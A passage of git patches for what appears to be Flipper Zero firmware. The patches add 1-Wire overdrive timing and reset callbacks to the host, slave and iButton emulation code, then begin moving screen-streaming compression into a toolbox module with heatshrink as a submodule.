100644 --- a/lib/ibutton/protocols/dallas/protocol_ds_generic.c +++ b/lib/ibutton/protocols/dallas/protocol_ds_generic.c @@ -61,6 +61,14 @@ bool ds_generic_write_blank(OneWireHost* host, iButtonProtocolData* protocol_dat return tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); } +static bool ds_generic_reset_callback(bool is_short, void* context) { + DallasGenericProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + static bool ds_generic_command_callback(uint8_t command, void* context) { furi_assert(context); DallasGenericProtocolData* data = context; @@ -85,7 +93,7 @@ void ds_generic_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { DallasGenericProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, NULL); onewire_slave_set_command_callback(bus, ds_generic_command_callback, protocol_data); } diff --git a/lib/one_wire/SConscript b/lib/one_wire/SConscript index 8d73c9dbf..2dde9153d 100644 --- a/lib/one_wire/SConscript +++ b/lib/one_wire/SConscript @@ -8,7 +8,6 @@ env.Append( "#/lib/one_wire", ], SDK_HEADERS=[ - File("one_wire_host_timing.h"), File("one_wire_host.h"), File("one_wire_slave.h"), File("maxim_crc.h"), diff --git a/lib/one_wire/one_wire_host.c b/lib/one_wire/one_wire_host.c index 0a4a79f5c..678812105 100644 --- a/lib/one_wire/one_wire_host.c +++ b/lib/one_wire/one_wire_host.c @@ -1,10 +1,54 @@ #include +/** + * Timings based on Application Note 126: + * https://www.analog.com/media/en/technical-documentation/tech-articles/1wire-communication-through-software--maxim-integrated.pdf + */ + #include "one_wire_host.h" -#include "one_wire_host_timing.h" + +typedef struct { + uint16_t a; + uint16_t b; + uint16_t c; + uint16_t d; + uint16_t e; + uint16_t f; + uint16_t g; + uint16_t h; + uint16_t i; + uint16_t j; +} OneWireHostTimings; + +static const OneWireHostTimings onewire_host_timings_normal = { + .a = 9, + .b = 64, + .c = 64, + .d = 14, + .e = 9, + .f = 55, + .g = 0, + .h = 480, + .i = 70, + .j = 410, +}; + +static const OneWireHostTimings onewire_host_timings_overdrive = { + .a = 1, + .b = 8, + .c = 8, + .d = 3, + .e = 1, + .f = 7, + .g = 3, + .h = 70, + .i = 9, + .j = 40, +}; struct OneWireHost { const GpioPin* gpio_pin; + const OneWireHostTimings* timings; unsigned char saved_rom[8]; /** < global search state */ uint8_t last_discrepancy; uint8_t last_family_discrepancy; @@ -15,6 +59,7 @@ OneWireHost* onewire_host_alloc(const GpioPin* gpio_pin) { OneWireHost* host = malloc(sizeof(OneWireHost)); host->gpio_pin = gpio_pin; onewire_host_reset_search(host); + onewire_host_set_overdrive(host, false); return host; } @@ -27,6 +72,8 @@ bool onewire_host_reset(OneWireHost* host) { uint8_t r; uint8_t retries = 125; + const OneWireHostTimings* timings = host->timings; + // wait until the gpio is high furi_hal_gpio_write(host->gpio_pin, true); do { @@ -35,19 +82,19 @@ bool onewire_host_reset(OneWireHost* host) { } while(!furi_hal_gpio_read(host->gpio_pin)); // pre delay - furi_delay_us(OWH_RESET_DELAY_PRE); + furi_delay_us(timings->g); // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_RESET_DRIVE); + furi_delay_us(timings->h); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_RESET_RELEASE); + furi_delay_us(timings->i); // read and post delay r = !furi_hal_gpio_read(host->gpio_pin); - furi_delay_us(OWH_RESET_DELAY_POST); + furi_delay_us(timings->j); return r; } @@ -55,17 +102,19 @@ bool onewire_host_reset(OneWireHost* host) { bool onewire_host_read_bit(OneWireHost* host) { bool result; + const OneWireHostTimings* timings = host->timings; + // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_READ_DRIVE); + furi_delay_us(timings->a); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_READ_RELEASE); + furi_delay_us(timings->e); // read and post delay result = furi_hal_gpio_read(host->gpio_pin); - furi_delay_us(OWH_READ_DELAY_POST); + furi_delay_us(timings->f); return result; } @@ -89,22 +138,24 @@ void onewire_host_read_bytes(OneWireHost* host, uint8_t* buffer, uint16_t count) } void onewire_host_write_bit(OneWireHost* host, bool value) { + const OneWireHostTimings* timings = host->timings; + if(value) { // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_WRITE_1_DRIVE); + furi_delay_us(timings->a); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_WRITE_1_RELEASE); + furi_delay_us(timings->b); } else { // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_WRITE_0_DRIVE); + furi_delay_us(timings->c); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_WRITE_0_RELEASE); + furi_delay_us(timings->d); } } @@ -122,10 +173,6 @@ void onewire_host_write_bytes(OneWireHost* host, const uint8_t* buffer, uint16_t } } -void onewire_host_skip(OneWireHost* host) { - onewire_host_write(host, 0xCC); -} - void onewire_host_start(OneWireHost* host) { furi_hal_gpio_write(host->gpio_pin, true); furi_hal_gpio_init(host->gpio_pin, GpioModeOutputOpenDrain, GpioPullNo, GpioSpeedLow); @@ -154,7 +201,7 @@ void onewire_host_target_search(OneWireHost* host, uint8_t family_code) { host->last_device_flag = false; } -uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode) { +bool onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode) { uint8_t id_bit_number; uint8_t last_zero, rom_byte_number, search_result; uint8_t id_bit, cmp_id_bit; @@ -268,3 +315,7 @@ uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSea return search_result; } + +void onewire_host_set_overdrive(OneWireHost* host, bool set) { + host->timings = set ? &onewire_host_timings_overdrive : &onewire_host_timings_normal; +} diff --git a/lib/one_wire/one_wire_host.h b/lib/one_wire/one_wire_host.h index dc469904d..9f9bd4ffd 100644 --- a/lib/one_wire/one_wire_host.h +++ b/lib/one_wire/one_wire_host.h @@ -15,114 +15,115 @@ extern "C" { typedef enum { OneWireHostSearchModeConditional = 0, /**< Search for alarmed device */ - OneWireHostSearchModeNormal = 1, /**< Search all devices */ + OneWireHostSearchModeNormal = 1, /**< Search for all devices */ } OneWireHostSearchMode; typedef struct OneWireHost OneWireHost; /** - * Allocate onewire host bus - * @param pin - * @return OneWireHost* + * Allocate OneWireHost instance + * @param [in] gpio_pin connection pin + * @return pointer to OneWireHost instance */ OneWireHost* onewire_host_alloc(const GpioPin* gpio_pin); /** - * Deallocate onewire host bus - * @param host + * Destroy OneWireHost instance, free resources + * @param [in] host pointer to OneWireHost instance */ void onewire_host_free(OneWireHost* host); /** - * Reset bus - * @param host - * @return bool + * Reset the 1-Wire bus + * @param [in] host pointer to OneWireHost instance + * @return true if presence was detected, false otherwise */ bool onewire_host_reset(OneWireHost* host); /** * Read one bit - * @param host - * @return bool + * @param [in] host pointer to OneWireHost instance + * @return received bit value */ bool onewire_host_read_bit(OneWireHost* host); /** * Read one byte - * @param host - * @return uint8_t + * @param [in] host pointer to OneWireHost instance + * @return received byte value */ uint8_t onewire_host_read(OneWireHost* host); /** - * Read many bytes - * @param host - * @param buffer - * @param count + * Read one or more bytes + * @param [in] host pointer to OneWireHost instance + * @param [out] buffer received data buffer + * @param [in] count number of bytes to read */ void onewire_host_read_bytes(OneWireHost* host, uint8_t* buffer, uint16_t count); /** * Write one bit - * @param host - * @param value + * @param [in] host pointer to OneWireHost instance + * @param value bit value to write */ void onewire_host_write_bit(OneWireHost* host, bool value); /** * Write one byte - * @param host - * @param value + * @param [in] host pointer to OneWireHost instance + * @param value byte value to write */ void onewire_host_write(OneWireHost* host, uint8_t value); /** - * Write many bytes - * @param host - * @param buffer - * @param count + * Write one or more bytes + * @param [in] host pointer to OneWireHost instance + * @param [in] buffer pointer to the data to write + * @param [in] count size of the data to write */ void onewire_host_write_bytes(OneWireHost* host, const uint8_t* buffer, uint16_t count); -/** - * Skip ROM command - * @param host - */ -void onewire_host_skip(OneWireHost* host); - /** * Start working with the bus - * @param host + * @param [in] host pointer to OneWireHost instance */ void onewire_host_start(OneWireHost* host); /** * Stop working with the bus - * @param host + * @param [in] host pointer to OneWireHost instance */ void onewire_host_stop(OneWireHost* host); /** - * - * @param host + * Reset previous search results + * @param [in] host pointer to OneWireHost instance */ void onewire_host_reset_search(OneWireHost* host); /** - * - * @param host - * @param family_code + * Set the family code to search for + * @param [in] host pointer to OneWireHost instance + * @param [in] family_code device family code */ void onewire_host_target_search(OneWireHost* host, uint8_t family_code); /** - * - * @param host - * @param newAddr - * @param mode - * @return uint8_t + * Search for devices on the 1-Wire bus + * @param [in] host pointer to OneWireHost instance + * @param [out] new_addr pointer to the buffer to contain the unique ROM of the found device + * @param [in] mode search mode + * @return true on success, false otherwise */ -uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode); +bool onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode); + +/** + * Enable overdrive mode + * @param [in] host pointer to OneWireHost instance + * @param [in] set true to turn overdrive on, false to turn it off + */ +void onewire_host_set_overdrive(OneWireHost* host, bool set); #ifdef __cplusplus } diff --git a/lib/one_wire/one_wire_host_timing.h b/lib/one_wire/one_wire_host_timing.h deleted file mode 100644 index f95dd3561..000000000 --- a/lib/one_wire/one_wire_host_timing.h +++ /dev/null @@ -1,30 +0,0 @@ -/** - * @file one_wire_host_timing.h - * - * 1-Wire library, timing list - */ - -#pragma once - -#define OWH_TIMING_A 9 -#define OWH_TIMING_B 64 -#define OWH_TIMING_C 64 -#define OWH_TIMING_D 14 -#define OWH_TIMING_E 9 -#define OWH_TIMING_F 55 -#define OWH_TIMING_G 0 -#define OWH_TIMING_H 480 -#define OWH_TIMING_I 70 -#define OWH_TIMING_J 410 - -#define OWH_WRITE_1_DRIVE OWH_TIMING_A -#define OWH_WRITE_1_RELEASE OWH_TIMING_B -#define OWH_WRITE_0_DRIVE OWH_TIMING_C -#define OWH_WRITE_0_RELEASE OWH_TIMING_D -#define OWH_READ_DRIVE 3 -#define OWH_READ_RELEASE OWH_TIMING_E -#define OWH_READ_DELAY_POST OWH_TIMING_F -#define OWH_RESET_DELAY_PRE OWH_TIMING_G -#define OWH_RESET_DRIVE OWH_TIMING_H -#define OWH_RESET_RELEASE OWH_TIMING_I -#define OWH_RESET_DELAY_POST OWH_TIMING_J diff --git a/lib/one_wire/one_wire_slave.c b/lib/one_wire/one_wire_slave.c index d1676cf3b..733b36e30 100644 --- a/lib/one_wire/one_wire_slave.c +++ b/lib/one_wire/one_wire_slave.c @@ -3,20 +3,7 @@ #include #include -#define ONEWIRE_TRSTL_MIN 270 /* Minimum Reset Low time */ -#define ONEWIRE_TRSTL_MAX 1200 /* Maximum Reset Low time */ - -#define ONEWIRE_TPDH_TYP 20 /* Typical Presence Detect High time */ -#define ONEWIRE_TPDL_MIN 100 /* Minimum Presence Detect Low time */ -#define ONEWIRE_TPDL_MAX 480 /* Maximum Presence Detect Low time */ - -#define ONEWIRE_TSLOT_MIN 60 /* Minimum Read/Write Slot time */ -#define ONEWIRE_TSLOT_MAX 135 /* Maximum Read/Write Slot time */ - -#define ONEWIRE_TW1L_MAX 20 /* Maximum Master Write 1 time */ -#define ONEWIRE_TRL_TMSR_MAX 30 /* Maximum Master Read Low + Read Sample time */ - -#define ONEWIRE_TH_TIMEOUT 15000 /* Maximum time before general timeout */ +#define TH_TIMEOUT_MAX 15000 /* Maximum time before general timeout */ typedef enum { OneWireSlaveErrorNone = 0, @@ -26,10 +13,29 @@ typedef enum { OneWireSlaveErrorTimeout, } OneWireSlaveError; +typedef struct { + uint16_t trstl_min; /* Minimum Reset Low time */ + uint16_t trstl_max; /* Maximum Reset Low time */ + + uint16_t tpdh_typ; /* Typical Presence Detect High time */ + uint16_t tpdl_min; /* Minimum Presence Detect Low time */ + uint16_t tpdl_max; /* Maximum Presence Detect Low time */ + + uint16_t tslot_min; /* Minimum Read/Write Slot time */ + uint16_t tslot_max; /* Maximum Read/Write Slot time */ + + uint16_t tw1l_max; /* Maximum Master Write 1 time */ + uint16_t trl_tmsr_max; /* Maximum Master Read Low + Read Sample time */ +} OneWireSlaveTimings; + struct OneWireSlave { const GpioPin* gpio_pin; + const OneWireSlaveTimings* timings; OneWireSlaveError error; + bool is_first_reset; + bool is_short_reset; + OneWireSlaveResetCallback reset_callback; OneWireSlaveCommandCallback command_callback; OneWireSlaveResultCallback result_callback; @@ -39,42 +45,72 @@ struct OneWireSlave { void* command_callback_context; }; +static const OneWireSlaveTimings onewire_slave_timings_normal = { + .trstl_min = 270, + .trstl_max = 1200, + + .tpdh_typ = 20, + .tpdl_min = 100, + .tpdl_max = 480, + + .tslot_min = 60, + .tslot_max = 135, + + .tw1l_max = 20, + .trl_tmsr_max = 30, +}; + +static const OneWireSlaveTimings onewire_slave_timings_overdrive = { + .trstl_min = 48, + .trstl_max = 80, + + .tpdh_typ = 0, + .tpdl_min = 8, + .tpdl_max = 24, + + .tslot_min = 6, + .tslot_max = 16, + + .tw1l_max = 2, + .trl_tmsr_max = 3, +}; + /*********************** PRIVATE ***********************/ -static uint32_t - onewire_slave_wait_while_gpio_is(OneWireSlave* bus, uint32_t time, const bool pin_value) { - uint32_t start = DWT->CYCCNT; - uint32_t time_ticks = time * furi_hal_cortex_instructions_per_microsecond(); - uint32_t time_captured; +static bool + onewire_slave_wait_while_gpio_is(OneWireSlave* bus, uint32_t time_us, const bool pin_value) { + const uint32_t time_start = DWT->CYCCNT; + const uint32_t time_ticks = time_us * furi_hal_cortex_instructions_per_microsecond(); + + uint32_t time_elapsed; do { //-V1044 - time_captured = DWT->CYCCNT; + time_elapsed = DWT->CYCCNT - time_start; if(furi_hal_gpio_read(bus->gpio_pin) != pin_value) { - uint32_t remaining_time = time_ticks - (time_captured - start); - remaining_time /= furi_hal_cortex_instructions_per_microsecond(); - return remaining_time; + return time_ticks >= time_elapsed; } - } while((time_captured - start) < time_ticks); + } while(time_elapsed < time_ticks); - return 0; + return false; } -static bool onewire_slave_show_presence(OneWireSlave* bus) { +static inline bool onewire_slave_show_presence(OneWireSlave* bus) { + const OneWireSlaveTimings* timings = bus->timings; // wait until the bus is high (might return immediately) - onewire_slave_wait_while_gpio_is(bus, ONEWIRE_TRSTL_MAX, false); + onewire_slave_wait_while_gpio_is(bus, timings->trstl_max, false); // wait while master delay presence check - furi_delay_us(ONEWIRE_TPDH_TYP); + furi_delay_us(timings->tpdh_typ); // show presence furi_hal_gpio_write(bus->gpio_pin, false); - furi_delay_us(ONEWIRE_TPDL_MIN); + furi_delay_us(timings->tpdl_min); furi_hal_gpio_write(bus->gpio_pin, true); // somebody also can show presence - const uint32_t wait_low_time = ONEWIRE_TPDL_MAX - ONEWIRE_TPDL_MIN; + const uint32_t wait_low_time = timings->tpdl_max - timings->tpdl_min; // so we will wait - if(onewire_slave_wait_while_gpio_is(bus, wait_low_time, false) == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, wait_low_time, false)) { bus->error = OneWireSlaveErrorPresenceConflict; return false; } @@ -85,27 +121,36 @@ static bool onewire_slave_show_presence(OneWireSlave* bus) { static inline bool onewire_slave_receive_and_process_command(OneWireSlave* bus) { /* Reset condition detected, send a presence pulse and reset protocol state */ if(bus->error == OneWireSlaveErrorResetInProgress) { - if(onewire_slave_show_presence(bus)) { - bus->error = OneWireSlaveErrorNone; + if(!bus->is_first_reset) { + /* Guess the reset type */ + bus->is_short_reset = onewire_slave_wait_while_gpio_is( + bus, + onewire_slave_timings_overdrive.trstl_max - + onewire_slave_timings_overdrive.tslot_max, + false); + } else { + bus->is_first_reset = false; + } - if(bus->reset_callback != NULL) { - bus->reset_callback(bus->reset_callback_context); + furi_assert(bus->reset_callback); + + if(bus->reset_callback(bus->is_short_reset, bus->reset_callback_context)) { + if(onewire_slave_show_presence(bus)) { + bus->error = OneWireSlaveErrorNone; + return true; } - - return true; } } else if(bus->error == OneWireSlaveErrorNone) { uint8_t command; - if(!onewire_slave_receive(bus, &command, 1)) { - /* Upon failure, request an additional iteration to - choose the appropriate action by checking bus->error */ - return true; - } else if(bus->command_callback) { - return bus->command_callback(command, bus->command_callback_context); - } else { - bus->error = OneWireSlaveErrorInvalidCommand; + if(onewire_slave_receive(bus, &command, sizeof(command))) { + furi_assert(bus->command_callback); + if(bus->command_callback(command, bus->command_callback_context)) { + return true; + } } + + return (bus->error == OneWireSlaveErrorResetInProgress); } return false; @@ -115,9 +160,6 @@ static inline bool onewire_slave_bus_start(OneWireSlave* bus) { FURI_CRITICAL_ENTER(); furi_hal_gpio_init(bus->gpio_pin, GpioModeOutputOpenDrain, GpioPullNo, GpioSpeedLow); - /* Start in Reset state in order to send a presence pulse immediately */ - bus->error = OneWireSlaveErrorResetInProgress; - while(onewire_slave_receive_and_process_command(bus)) ; @@ -139,7 +181,15 @@ static void onewire_slave_exti_callback(void* context) { const uint32_t pulse_length = (DWT->CYCCNT - pulse_start) / furi_hal_cortex_instructions_per_microsecond(); - if((pulse_length >= ONEWIRE_TRSTL_MIN) && pulse_length <= (ONEWIRE_TRSTL_MAX)) { + if((pulse_length >= onewire_slave_timings_overdrive.trstl_min) && + (pulse_length <= onewire_slave_timings_normal.trstl_max)) { + /* Start in reset state in order to send a presence pulse immediately */ + bus->error = OneWireSlaveErrorResetInProgress; + /* Determine reset type (chooses speed mode if supported by the emulated device) */ + bus->is_short_reset = pulse_length <= onewire_slave_timings_overdrive.trstl_max; + /* Initial reset allows going directly into overdrive mode */ + bus->is_first_reset = true; + const bool result = onewire_slave_bus_start(bus); if(result && bus->result_callback != NULL) { @@ -158,6 +208,7 @@ OneWireSlave* onewire_slave_alloc(const GpioPin* gpio_pin) { OneWireSlave* bus = malloc(sizeof(OneWireSlave)); bus->gpio_pin = gpio_pin; + bus->timings = &onewire_slave_timings_normal; bus->error = OneWireSlaveErrorNone; return bus; @@ -205,52 +256,45 @@ void onewire_slave_set_result_callback( } bool onewire_slave_receive_bit(OneWireSlave* bus) { + const OneWireSlaveTimings* timings = bus->timings; // wait while bus is low - uint32_t time = ONEWIRE_TSLOT_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, timings->tslot_max, false)) { bus->error = OneWireSlaveErrorResetInProgress; return false; } // wait while bus is high - time = ONEWIRE_TH_TIMEOUT; - time = onewire_slave_wait_while_gpio_is(bus, time, true); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, TH_TIMEOUT_MAX, true)) { bus->error = OneWireSlaveErrorTimeout; return false; } // wait a time of zero - time = ONEWIRE_TW1L_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - - return (time > 0); + return onewire_slave_wait_while_gpio_is(bus, timings->tw1l_max, false); } bool onewire_slave_send_bit(OneWireSlave* bus, bool value) { + const OneWireSlaveTimings* timings = bus->timings; // wait while bus is low - uint32_t time = ONEWIRE_TSLOT_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, timings->tslot_max, false)) { bus->error = OneWireSlaveErrorResetInProgress; return false; } // wait while bus is high - time = ONEWIRE_TH_TIMEOUT; - time = onewire_slave_wait_while_gpio_is(bus, time, true); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, TH_TIMEOUT_MAX, true)) { bus->error = OneWireSlaveErrorTimeout; return false; } // choose write time + uint32_t time; + if(!value) { furi_hal_gpio_write(bus->gpio_pin, false); - time = ONEWIRE_TRL_TMSR_MAX; + time = timings->trl_tmsr_max; } else { - time = ONEWIRE_TSLOT_MIN; + time = timings->tslot_min; } // hold line for ZERO or ONE time @@ -301,3 +345,13 @@ bool onewire_slave_receive(OneWireSlave* bus, uint8_t* data, size_t data_size) { } return true; } + +void onewire_slave_set_overdrive(OneWireSlave* bus, bool set) { + const OneWireSlaveTimings* new_timings = set ? &onewire_slave_timings_overdrive : + &onewire_slave_timings_normal; + if(bus->timings != new_timings) { + /* Prevent erroneous reset by waiting for the previous time slot to finish */ + onewire_slave_wait_while_gpio_is(bus, bus->timings->tslot_max, false); + bus->timings = new_timings; + } +} diff --git a/lib/one_wire/one_wire_slave.h b/lib/one_wire/one_wire_slave.h index 914cd9335..21114b912 100644 --- a/lib/one_wire/one_wire_slave.h +++ b/lib/one_wire/one_wire_slave.h @@ -18,68 +18,85 @@ extern "C" { typedef struct OneWireDevice OneWireDevice; typedef struct OneWireSlave OneWireSlave; -typedef void (*OneWireSlaveResetCallback)(void* context); -typedef void (*OneWireSlaveResultCallback)(void* context); +typedef bool (*OneWireSlaveResetCallback)(bool is_short, void* context); typedef bool (*OneWireSlaveCommandCallback)(uint8_t command, void* context); +typedef void (*OneWireSlaveResultCallback)(void* context); /** - * Allocate onewire slave - * @param gpio_pin - * @return OneWireSlave* + * Allocate OneWireSlave instance + * @param [in] gpio_pin connection pin + * @return pointer to OneWireSlave instance */ OneWireSlave* onewire_slave_alloc(const GpioPin* gpio_pin); /** - * Free onewire slave - * @param bus + * Destroy OneWireSlave instance, free resources + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_free(OneWireSlave* bus); /** * Start working with the bus - * @param bus + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_start(OneWireSlave* bus); /** * Stop working with the bus - * @param bus + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_stop(OneWireSlave* bus); /** - * TODO: description comment + * Receive one bit + * @param [in] bus pointer to OneWireSlave instance + * @return received bit value */ bool onewire_slave_receive_bit(OneWireSlave* bus); /** - * TODO: description comment + * Send one bit + * @param [in] bus pointer to OneWireSlave instance + * @param [in] value bit value to send + * @return true on success, false on failure */ bool onewire_slave_send_bit(OneWireSlave* bus, bool value); /** - * Send data - * @param bus - * @param data - * @param data_size - * @return bool + * Send one or more bytes of data + * @param [in] bus pointer to OneWireSlave instance + * @param [in] data pointer to the data to send + * @param [in] data_size size of the data to send + * @return true on success, false on failure */ bool onewire_slave_send(OneWireSlave* bus, const uint8_t* data, size_t data_size); /** - * Receive data - * @param bus - * @param data - * @param data_size - * @return bool + * Receive one or more bytes of data + * @param [in] bus pointer to OneWireSlave instance + * @param [out] data pointer to the receive buffer + * @param [in] data_size number of bytes to receive + * @return true on success, false on failure */ bool onewire_slave_receive(OneWireSlave* bus, uint8_t* data, size_t data_size); /** - * Set a callback to be called on each reset - * @param bus - * @param callback - * @param context + * Enable overdrive mode + * @param [in] bus pointer to OneWireSlave instance + * @param [in] set true to turn overdrive on, false to turn it off + */ +void onewire_slave_set_overdrive(OneWireSlave* bus, bool set); + +/** + * Set a callback function to be called on each reset. + * The return value of the callback determines whether the emulated device + * supports the short reset (passed as the is_short parameter). + * In most applications, it should also call onewire_slave_set_overdrive() + * to set the appropriate speed mode. + * + * @param [in] bus pointer to OneWireSlave instance + * @param [in] callback pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_reset_callback( OneWireSlave* bus, @@ -87,10 +104,13 @@ void onewire_slave_set_reset_callback( void* context); /** - * Set a callback to be called on each command - * @param bus - * @param callback - * @param context + * Set a callback function to be called on each command. + * The return value of the callback determines whether further operation + * is possible. As a rule of thumb, return true unless a critical error happened. + * + * @param [in] bus pointer to OneWireSlave instance + * @param [in] callback pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_command_callback( OneWireSlave* bus, @@ -99,9 +119,9 @@ void onewire_slave_set_command_callback( /** * Set a callback to report emulation success - * @param bus - * @param result_cb - * @param context + * @param [in] bus pointer to OneWireSlave instance + * @param [in] result_cb pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_result_callback( OneWireSlave* bus, From 9daa51eda4a723135e3e0fd4b63835173dad3575 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 18:41:50 +0300 Subject: [PATCH 236/329] Update DS1420 to latest changes --- lib/ibutton/protocols/dallas/protocol_ds1420.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/ibutton/protocols/dallas/protocol_ds1420.c b/lib/ibutton/protocols/dallas/protocol_ds1420.c index ebfb700ce..85e0145f4 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds1420.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1420.c @@ -67,6 +67,14 @@ bool dallas_ds1420_write_blank(OneWireHost* host, iButtonProtocolData* protocol_ tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); } +static bool dallas_ds1420_reset_callback(bool is_short, void* context) { + DS1420ProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + static bool dallas_ds1420_command_callback(uint8_t command, void* context) { furi_assert(context); DS1420ProtocolData* data = context; @@ -92,7 +100,7 @@ void dallas_ds1420_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data DS1420ProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_reset_callback(bus, dallas_ds1420_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, dallas_ds1420_command_callback, protocol_data); } From 7bf0a4786c6987b756683f6ee0af866833a8b4cd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Thu, 23 Mar 2023 02:00:48 +0900 Subject: [PATCH 237/329] [FL-3152] Screen streaming improvements (#2498) * Rpc: reserve some bandwidth when screen streaming * Move furi_hal_compress to toolbox/comporess * Lib: heatshrink as external submodule, compile warnings fixes, better buffer management * Lib: cleanup compressor definitions * Rpc: add canvas orientation support * Format Sources --- .gitmodules | 3 + applications/services/gui/canvas.c | 9 +- applications/services/gui/canvas_i.h | 2 + applications/services/gui/gui.c | 1 + applications/services/gui/gui.h | 6 +- applications/services/rpc/rpc_gui.c | 26 +- assets/protobuf | 2 +- firmware/targets/f18/api_symbols.csv | 13 +- firmware/targets/f18/furi_hal/furi_hal.c | 34 +- .../targets/f18/furi_hal/furi_hal_resources.c | 4 + firmware/targets/f7/api_symbols.csv | 7 - firmware/targets/f7/furi_hal/furi_hal.c | 26 - .../targets/f7/furi_hal/furi_hal_ibutton.c | 3 + .../targets/f7/furi_hal/furi_hal_resources.c | 4 + firmware/targets/f7/src/dfu.c | 7 +- firmware/targets/f7/src/recovery.c | 6 +- firmware/targets/furi_hal_include/furi_hal.h | 1 - .../furi_hal_include/furi_hal_compress.h | 87 --- lib/err.h | 4 + lib/heatshrink | 1 + lib/heatshrink/heatshrink_common.h | 20 - lib/heatshrink/heatshrink_config.h | 28 - lib/heatshrink/heatshrink_decoder.c | 364 ----------- lib/heatshrink/heatshrink_decoder.h | 100 --- lib/heatshrink/heatshrink_encoder.c | 602 ------------------ lib/heatshrink/heatshrink_encoder.h | 109 ---- lib/misc.scons | 7 +- .../toolbox/compress.c | 127 ++-- lib/toolbox/compress.h | 96 +++ 29 files changed, 242 insertions(+), 1457 deletions(-) delete mode 100644 firmware/targets/furi_hal_include/furi_hal_compress.h create mode 100644 lib/err.h create mode 160000 lib/heatshrink delete mode 100644 lib/heatshrink/heatshrink_common.h delete mode 100644 lib/heatshrink/heatshrink_config.h delete mode 100644 lib/heatshrink/heatshrink_decoder.c delete mode 100644 lib/heatshrink/heatshrink_decoder.h delete mode 100644 lib/heatshrink/heatshrink_encoder.c delete mode 100644 lib/heatshrink/heatshrink_encoder.h rename firmware/targets/f7/furi_hal/furi_hal_compress.c => lib/toolbox/compress.c (67%) create mode 100644 lib/toolbox/compress.h diff --git a/.gitmodules b/.gitmodules index 56368cd58..3a15177bd 100644 --- a/.gitmodules +++ b/.gitmodules @@ -31,3 +31,6 @@ [submodule "applications/external/dap_link/lib/free-dap"] path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git +[submodule "lib/heatshrink"] + path = lib/heatshrink + url = https://github.com/flipperdevices/heatshrink.git diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index 9c29a39fd..40797c086 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -17,6 +17,7 @@ const CanvasFontParameters canvas_font_params[FontTotalNumber] = { Canvas* canvas_init() { Canvas* canvas = malloc(sizeof(Canvas)); + canvas->compress_icon = compress_icon_alloc(); // Setup u8g2 u8g2_Setup_st756x_flipper(&canvas->fb, U8G2_R0, u8x8_hw_spi_stm32, u8g2_gpio_and_delay_stm32); @@ -35,6 +36,7 @@ Canvas* canvas_init() { void canvas_free(Canvas* canvas) { furi_assert(canvas); + compress_icon_free(canvas->compress_icon); free(canvas); } @@ -218,7 +220,7 @@ void canvas_draw_bitmap( x += canvas->offset_x; y += canvas->offset_y; uint8_t* bitmap_data = NULL; - furi_hal_compress_icon_decode(compressed_bitmap_data, &bitmap_data); + compress_icon_decode(canvas->compress_icon, compressed_bitmap_data, &bitmap_data); u8g2_DrawXBM(&canvas->fb, x, y, width, height, bitmap_data); } @@ -233,7 +235,8 @@ void canvas_draw_icon_animation( x += canvas->offset_x; y += canvas->offset_y; uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_animation_get_data(icon_animation), &icon_data); + compress_icon_decode( + canvas->compress_icon, icon_animation_get_data(icon_animation), &icon_data); u8g2_DrawXBM( &canvas->fb, x, @@ -250,7 +253,7 @@ void canvas_draw_icon(Canvas* canvas, uint8_t x, uint8_t y, const Icon* icon) { x += canvas->offset_x; y += canvas->offset_y; uint8_t* 